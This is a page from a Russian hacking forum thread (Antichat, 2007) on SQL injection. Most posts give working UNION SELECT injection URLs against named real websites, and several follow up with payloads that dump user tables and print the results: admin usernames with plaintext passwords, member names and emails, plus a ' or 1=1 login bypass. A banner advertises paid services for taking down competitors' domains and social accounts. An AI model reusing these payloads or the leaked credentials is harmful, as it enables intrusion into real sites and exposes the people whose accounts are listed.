Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 261 из 1242

261

Опции темы

Поиск в этой теме

Опции просмотра

#2601

01.07.2007, 11:28

iv.

Moderator - Level 7

Регистрация: 21.03.2007

Сообщений: 1,200

Провел на форуме:
7134052

Репутация: 1204

nvmu.ru

Подозрение на инъекцию:

Цитата:

http://nvmu.ru/cgi-bin/index.cgi?page=1'

Подбираем кол-во колонок:

Цитата:

http://nvmu.ru/cgi-bin/index.cgi?page=-1%20union%20select%201,2,3,4,5/*

Version: MySQL 5.1.19-beta
User: nvmu@localhost
Database: nvmu

Вывод только в заголовке, прав на mysql.user не хватает, возможно как-нибудь нормально инъектироваться?

PS. Спасибо товарищу из аськи за наводку и заодно, что разбудил меня. =\

#2602

01.07.2007, 12:37

NOmeR1

Познавший АНТИЧАТ

Регистрация: 02.06.2006

Сообщений: 1,188

Провел на форуме:
6023777

Репутация: 2642

Отправить сообщение для NOmeR1 с помощью ICQ

Цитата:

http://www.arcteryx.nu/butiken/product.php?uid=-720+union+select+1,concat_ws(0x3a,USER(),DATABASE( ),VERSION()),3,4,5,6,7,8,9,10,11,12,13,14/*

Хм.. Наверно там больше нет =\ Даже файлы прочитать не смог..

#2603

01.07.2007, 14:37

злюка

Постоянный

Регистрация: 11.11.2005

Сообщений: 317

Провел на форуме:
2848854

Репутация: 409

Отправить сообщение для злюка с помощью ICQ

Код:

http://www.sportsguns.co.uk/addpage.php?page_id=-1+union+select+1,2,3,4,5/*

эх найти бы таблицу юзеров

Последний раз редактировалось злюка; 01.07.2007 в 22:21..

#2604

01.07.2007, 15:03

Ky3bMu4

Постоянный

Регистрация: 03.02.2007

Сообщений: 520

Провел на форуме:
1777536

Репутация: 932

Отправить сообщение для Ky3bMu4 с помощью ICQ

http://english.stanford.edu/ - PR 7

Цитата:

http://english.stanford.edu/?news_id=-88+union+select+1,user(),3,4,database(),version(), 7,TABLE_NAME+from+information_schema.tables/*

Последний раз редактировалось Ky3bMu4; 01.07.2007 в 15:05..

sql

#2605

01.07.2007, 20:01

~~Серенький~~

Banned

Регистрация: 13.04.2007

Сообщений: 123

Провел на форуме:
921520

Репутация: 572

sql

2злюка

Цитата:

Код:
http://www.sportsguns.co.uk/addpage.php?page_id=-1+union+select+1,2,3,4,5/

эх найти бы таблицу юзеров

tbl_user

Цитата:

http://www.sportsguns.co.uk/addpage.php?page_id=-1+union+select+1,2,count(1),4,5+from+tbl_user/*

95167 записей

Цитата:

http://www.sportsguns.co.uk/addpage.php?page_id=-1+union+select+1,2,concat_ws(0x3a,username,passwor d),4,5+from+tbl_user+limit+0,1/*

admin:highstreet4013

админка

Цитата:

http://www.sportsguns.co.uk/login.php

-----------------------------------------------------------------

NOmeR1

Цитата:

http://www.arcteryx.nu/butiken/product.php?uid=-720+union+select+1,concat_ws(0x3a,USER(),DATABASE( ),VERSION()),3,4,5,6,7,8,9,10,11,12,13,14/*
Хм.. Наверно там больше нет =\ Даже файлы прочитать не смог..

вот-с

Цитата:

http://www.arcteryx.nu/butiken/product.php?uid=-720+union+select+1,concat_ws(0x3a,name,email,passw d),3,4,5,6,7,8,9,10,11,12,13,14+from+users+limit+0 ,1/*

ROBERT JONASSON:BMF_RIPPER@HOTMAIL.COM:4TWCPP
можно залогиниться тут - http://www.arcteryx.nu/butiken/login.php - но хз что с этим делать, я по голандски не умею, надо Хиддинка спросить)

------------------------------------------------------------------------

iv.

Цитата:

Подбираем кол-во колонок: Цитата:http://nvmu.ru/cgi-bin/index.cgi?page=-1%20union%20select%201,2,3,4,5/* Version: MySQL 5.1.19-beta User: nvmu@localhost Database: nvmu Вывод только в заголовке, прав на mysql.user не хватает, возможно как-нибудь нормально инъектироваться?

можно нормально вывести здесь

Цитата:

http://nvmu.ru/cgi-bin/news.cgi?id=-bzU1UjCC'+union+select+1,2,table_name+from+informa tion_schema.tables+limit+35,1/*

есть табличка members

Цитата:

http://nvmu.ru/cgi-bin/news.cgi?id=-bzU1UjCC'+union+select+1,2,concat_ws(0x3a,login,pa ssword,email)+from+members+limit+0,1/*

Borisov:3788:s_nahim@inbox.ru
еще примечательно, что можно авторизироваться просто введя ' or 1=1/* вместо логина плюс произвольный пароль

-----------------------------------------------------------------------
[PS] что-то везде пароли хранятся в открытом виде

Последний раз редактировалось Серенький; 01.07.2007 в 20:49..

#2606

02.07.2007, 15:07

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

Провел на форуме:
9098076

Репутация: 4303

Цитата:

http://www.qb4q.com/vacation.php?wid=-14+union+select+1,version(),3,4,5,6,7,8,9,0,11,12, 13,14

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#2607

02.07.2007, 15:19

Ky3bMu4

Постоянный

Регистрация: 03.02.2007

Сообщений: 520

Провел на форуме:
1777536

Репутация: 932

http://www.worldteamtennis.com/
Офф сайт WTT(только чёт PR 4)

Код:

http://www.worldteamtennis.com/news/news_info.asp?news_id=-251+union+select+1,2,3,password,username,6,7,8,9+from+users

Одновременно username и password выводить не хочет. Надо по отдельности.

User: admin
Password: 2$$7#newsx
Админку не нашёл...

Вот ещё сайтец с доступом в user , то только выводить ничё не хочет...

Код:

http://www.yourmajesty.net/News_selec.asp?News_ID=-116+union+select+1,2,3,4,5,6,7,8+from+user

#2608

02.07.2007, 15:49

~~Серенький~~

Banned

Регистрация: 13.04.2007

Сообщений: 123

Провел на форуме:
921520

Репутация: 572

Цитата:

Spyder
Цитата:http://www.qb4q.com/vacation.php?wid=-14+union+select+1,version(),3,4,5,6,7,8,9,0,11,12, 13,14

=\

никак не смог подобрать колонку с пассом..\
а табличка мемберс:

Цитата:

http://www.qb4q.com/vacation.php?wid=-14+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_ws(0 x3a,name,email),13,14+from+members/*

Последний раз редактировалось Серенький; 02.07.2007 в 16:01..

#2609

02.07.2007, 16:09

[53x]Shadow

Leaders of Antichat

Регистрация: 25.01.2007

Сообщений: 341

Провел на форуме:
3372120

Репутация: 2565

Цитата:

Сообщение от Ky3bMu4

Вот ещё сайтец с доступом в user , то только выводить ничё не хочет...

Код:

http://www.yourmajesty.net/News_selec.asp?News_ID=-116+union+select+1,2,3,4,5,6,7,8+from+user

Это MSSQL. Это не правильный вывод и там нет User.

#2610

02.07.2007, 17:50

V1p-eR

Познающий

Регистрация: 02.07.2007

Сообщений: 34

Провел на форуме:
446543

Репутация: 29

вношу свои =)

Код:

http://www.ji-association.org/news.phtml?id=-1+union+select+VERSION(),2,3,4,5,USER(),7,8,9,10+from+users/*

Код:

http://www.cosmopolitan.kz/content.php?idpart=3&idnum=-1+union+select+1,2,3,VERSION(),USER(),6,7,8/*

Код:

http://slt-tosol.ru/catalog.php?id=-1+union+select+1,VERSION(),USER(),4,5,6,7,8/*

Страница 261 из 1242

261

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход